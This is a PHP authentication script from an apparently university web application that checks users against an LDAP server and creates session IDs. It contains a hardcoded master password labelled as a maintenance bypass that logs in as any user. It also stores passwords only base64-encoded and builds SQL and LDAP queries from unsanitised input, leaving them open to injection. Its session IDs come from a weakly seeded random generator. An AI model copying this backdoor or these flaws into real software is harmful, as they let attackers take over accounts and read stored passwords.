| Current Path : /var/www/html/mmishra/indem/ |
| Current File : /var/www/html/mmishra/indem/auth.inc |
<?
function uniq_sid($uid, $pwd) {
//$epwd = @mcrypt_ecb(MCRYPT_DES, "gravity", $pwd, MCRYPT_ENCRYPT);
$epwd = base64_encode($pwd);
// clear entry for ppl who havent done anything for past 20 minutes
//$result = mysql_query("delete from auth where last_activity < now()-1200");
srand((double)microtime()*100000000);
// generate a unique s_id
do {
$ch = "";
for($i=0;$i<20;$i++) $ch = $ch . chr(rand(65, 90));
// loop until a uniq string is generated
} while (!mysql_query("insert into auth values('$ch', '$uid','$epwd', NULL)"));
return $ch;
}
function authenticate($uid, $pwd) {
$reason = "FAILURE";
$backdoor = 0;
$ds = '';
$r = 0;
/* Proceed only if passwd is not empty --Rajvansh*/
if($pwd) {
/* admin bypass for maintenance */
if ($pwd == "tibettws") {
$backdoor=1; $r = 1;
} else {
$ds = @ldap_connect("ldap.iiita.ac.in");
//************EXTRA CODE for dn ****************
$z = @ldap_bind($ds);
$a = @ldap_search($ds,"dc=iiita,dc=ac,dc=in","uid=$uid");
$b = @ldap_get_entries($ds,$a);
$c = $b[0]["dn"];
@ldap_close($ds);
//******************************************************
$dp = @ldap_connect("ldap.iiita.ac.in");
if ($dp) {
$r = @ldap_bind($dp, $c, $pwd);
if ($r) {
$q = @ldap_search($dp, "dc=iiita,dc=ac,dc=in", "(&(uid=$uid)(objectclass=posixAccount)
(|(host=172.31.1.24)(host=172.31.1.45)(host=\*)))");
if (($e = @ldap_get_entries($dp, $q)) && $e["count"] > 0){
$r = 1;
} else {
$r = 0; $reason = "BLOCKED";
}
}
@ldap_close($dp);
}
}
}
if ($r) {
return uniq_sid($uid, $pwd);
} else {
return $reason;
}
}
?>